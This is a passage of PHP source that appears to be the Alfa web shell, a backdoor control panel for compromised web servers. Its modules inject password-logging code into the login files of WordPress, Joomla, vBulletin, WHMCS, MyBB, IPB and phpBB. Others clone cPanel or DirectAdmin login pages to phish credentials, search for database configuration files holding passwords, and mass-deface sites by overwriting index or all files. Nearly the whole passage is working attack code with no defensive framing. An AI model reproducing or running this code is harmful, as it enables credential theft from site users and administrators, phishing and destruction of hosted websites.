		alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
	break;
	case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
		if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
			alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
		}else{
			alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
		}
	break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
	$itsok = false;
	if(emtpy($file_type)){
		$file_type = "application/zip";
	}
	switch ($file_type) {
		case 'application/zip':
			$zip = new ZipArchive;
			$res = $zip->open($dirzip);
			if ($res) {
				$zip->extractTo($zipfile);
				$zip->close();
				$itsok = true;
			}
		break;
		case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
			if(strstr(basename($dirzip), ".tar.gz")){
				$new_file = $zipfile .'/'. basename($dirzip);
				@copy($dirzip, $new_file);
				$new_tar = str_replace(".tar.gz", ".tar", $new_file);
				try {
					$p = new PharData($new_file);
					$p->decompress();
					$phar = new PharData($new_tar);
					$phar->extractTo($zipfile);
					@unlink($new_file);
					@unlink($new_tar);
					$itsok = true;
				} catch (Exception $e) {
				}
			}else{
				try {
					$phar = new PharData($dirzip);
					$phar->extractTo($zipfile);
					$itsok = true;
				} catch (Exception $e) {
				}
			}
		break;
	}
if($itsok){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function alfacmshijacker(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select>");
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['alfa1'];
$saveto = $_POST['alfa2'];
$cmspath = $_POST['alfa4'];
if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
echo __pre();
alfaHijackCms($cms,$cmspath,$saveto);
}
echo '</div>';
alfafooter();
}
function alfaHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code=str_replace('{saveto_path}',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = "\t".$code."\n\t".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = "\t".$match[0]."\n\t".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = '';
}
if(@is_file($login) AND @is_writable($login) AND $login != ''){
$data_login = @file_get_contents($login);
$evil_login = $code."\n".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,'?>'))$code = '?>'.$code;
$evil_conf = $data_conf."\n".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
$find = '$loginhandler->complete_login();';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/member.php";
$evil_login = "\t".$code."\n\t".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
if($e=='str'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace('\\','/',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace('\\','/',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Alfa_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function alfafakepage(){
	alfahead();
	AlfaNum(9,10);
	echo '<div class=header><br>
	<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
	<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
	$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
	foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
	echo("</select></div>");
	echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
	$clone_page = $_POST['alfa1'];
	$fake_root = $_POST['alfa2'];
	$logto = $_POST['alfa4'];
	$panel = $_POST['alfa5'];
	$inject_to = $_POST['alfa6'];
	$bind_on = $_POST['alfa7'];
	$count = $_POST['alfa8'];
	if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){
		echo __pre();
		$target = $clone_page;
		$curl = new AlfaCURL();
		$source_page = $curl->Send($target);
		if(!empty($source_page)){
			$matched_form = "";
			if($panel == "cpanel"){
				if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}else{
				if(preg_match('#<form(.*?)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}
			if(!empty($matched_form)){
				$fake = "";
				$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
				$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
				if($panel == "cpanel"){
					$port = "2083";
				}else{
					$target = str_replace(array("http://", "https://"), "", $target);
					$port = explode(":",$target);
					$port = $port[1];
				}
				if(substr($uri, 0, 1) == "/"){
					$uri = substr($uri, 1);
				}
				$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
				$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
				if($panel == "cpanel"){
					$form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
				}else{
					$form = '<form action="'.$log_url.'" method="post">';
				}
				$fake = str_replace($matched_form, $form, $source_page);
				if(@!is_dir($fake_root)){
					@mkdir($fake_root, 0777, true);
				}

				$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);

				$post_user = 'user';
				$post_pass = 'pass';
				$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
				if($panel != "cpanel"){
					$post_user = 'username';
					$post_pass = 'password';
					$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
				}

				$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';

				@file_put_contents($fake_root.'/log.php', $cpanel_log);

				if($panel == "cpanel"){
					$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
				}

				@file_put_contents($fake_root.'/index.php', $fake);

				$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
				$bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';

				@file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to));
				@file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on));

				echo "success...!";
			}else{
				echo "failed...!";
			}
		}else{
			echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
		}
	}
	echo '</div>';
	alfafooter();
}
function alfaarchive_manager(){
	alfahead();
	$file = $_POST['alfa2'];
	if(!file_exists($file)){
		$file = $GLOBALS['cwd'];
	}
	$rand_id = rand(9999, 999999);
	echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
	echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	if($_POST['alfa5']=='>>'){
		//echo __pre();
		echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
		echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
		__alfa_open_archive_file($file, $rand_id);
		echo '</div>';
	}
	echo '</div>';
	alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
	try{
		$files = array();
		$dirs = array();
		$archive = new PharData($arch);
		 foreach($archive as $file) {
			 $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
		     if($file->isDir()) {
				 $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
		     }else{
				 $file_size = @filesize($file->getPathname());
				 $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file",  "modify" => $file_modify, "size" => $file_size);
			 }
		 }
		 function __alfa_open_archive_usort($a, $b){
			 return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
		 }
		 usort($dirs, "__alfa_open_archive_usort");
		 usort($files, "__alfa_open_archive_usort");
		 $files = array_merge($dirs, $files);
		 echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
		 $icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
		 echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
		 foreach($files as $file){
			 $icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
			 if($file["type"] == "dir"){
			 	echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
		 	}else{
				echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";

			}
		 }
		  echo '</table>';
	}catch(Exception $e){
		echo("0");
	}
}
function alfaopen_archive_dir(){
	$dir = $_POST["alfa1"];
	$base_id = $_POST["alfa2"];
	__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
	alfahead();
	echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
	echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	$dir = $_POST['alfa2'];
	$ext = $_POST['alfa3'];
	if($_POST['alfa5']=='>>'){
		echo __pre();
		Alfa_ConfigGrabber($dir, $ext);
	}
	echo '</div>';
	alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
	$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
	$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
	if(@is_readable($dir)){
		$globFiles = @glob("$dir/*.$ext");
		$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
		$blacklist = array();
		foreach ($globDirs as $dir) {
			if(!@is_readable($dir)||@is_link($dir)) continue;
			@Alfa_ConfigGrabber($dir, $ext);
		}
		foreach ($globFiles as $file){
			$filee = @file_get_contents($file);
			if(preg_match($pattern, $filee)){
				echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
			}
		}
	}
}
function alfasearcher(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if($_POST['alfa5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST['alfa1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
}
}
echo '</div>';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
	DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['alfa4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == '.')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
alfafooter();
}
function Alfa_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == '.')continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."  <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc(){
alfahead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
